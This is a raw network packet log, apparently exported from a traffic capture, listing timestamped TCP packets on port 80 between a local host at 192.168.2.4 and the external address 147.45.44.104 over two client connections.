Aug 30, 2024 06:17:06.706022978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706027031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706034899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706043959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706053019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706065893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706073999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706073999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706073999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706073999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706084013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706094027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706120968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706125975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706125975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706135035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706145048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706154108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706163883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706171989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706185102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706187010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706187010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706195116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706203938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706207991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706214905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706223965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706231117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706237078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706244946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706254005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706254959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706268072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706274033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706274033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706281900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706291914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706296921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706299067 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706305981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706315994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706325054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706337929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706337929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706337929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706346989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706392050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706392050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706422091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706430912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706439972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706449032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706465960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706490040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706590891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706645966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706756115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706765890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706773996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706784010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706794024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706806898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706810951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706816912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706832886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706906080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706923008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.707339048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.707972050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.707981110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.707994938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708003998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708014011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708023071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708024025 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708034039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708044052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708072901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708072901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708072901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708121061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708894968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708904982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708914042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708924055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708930969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708933115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708944082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708956957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708967924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.708969116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708969116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708992958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.708992958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709049940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709059000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709068060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709076881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709086895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709095955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709098101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709098101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709126949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709144115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709150076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709158897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709167957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709177017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709186077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709197044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709201097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709201097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709206104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709227085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709279060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709392071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709431887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709435940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709446907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709503889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709574938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709585905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709597111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709609032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.709661007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709661007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.709661007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710288048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710344076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710362911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710374117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710419893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710490942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710500956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710536957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710683107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710694075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710704088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710721016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710730076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710732937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710747957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710772991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710783005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710783958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710794926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710805893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710817099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.710825920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710825920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.710869074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.739859104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739870071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739878893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739914894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.739934921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739937067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.739943981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739952087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739960909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739970922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.739976883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740004063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740012884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740144014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740154982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740163088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740171909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740184069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740192890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740211964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740318060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740329027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740338087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740348101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740356922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740366936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740369081 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740381002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740401983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740422964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740432978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740441084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.740461111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.740485907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.741338968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741451979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741460085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741472960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741482973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741491079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741499901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.741501093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741511106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.741518974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.741537094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.741559982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742109060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742134094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742176056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742202044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742211103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742219925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742252111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742259979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742331028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742341042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742350101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742358923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742369890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742378950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742383003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742408037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742465019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742474079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742482901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742495060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742511988 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742522001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742544889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742594957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742659092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742667913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742696047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742707968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742710114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742717981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742731094 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742734909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.742752075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.742765903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.747901917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.747952938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748086929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748095989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748104095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748112917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748121977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748126984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748137951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748141050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748147964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748155117 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748157978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748163939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748167038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748177052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748183966 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748186111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748195887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748198032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748204947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748209000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748214006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748228073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748244047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748677015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748687029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748696089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748718023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748728037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748750925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748761892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748769999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748780012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748789072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748814106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748823881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.748889923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.748931885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749094963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749134064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749170065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749177933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749186039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749195099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749203920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749207973 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749213934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749217987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749234915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749248981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749257088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749309063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749319077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749353886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749362946 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749378920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749388933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749397039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749407053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749417067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749422073 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749430895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749444008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749562979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749573946 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749582052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749589920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749602079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749610901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749612093 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749619961 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749628067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749629021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749638081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749649048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749653101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749656916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749663115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749670982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749674082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749680042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749685049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749695063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749705076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749705076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749715090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749718904 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749725103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749733925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749738932 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749743938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749752998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749758005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749766111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749769926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749774933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749783993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749792099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749794006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749799013 CEST	49735	80	192.168.2.4	147.45.44.104
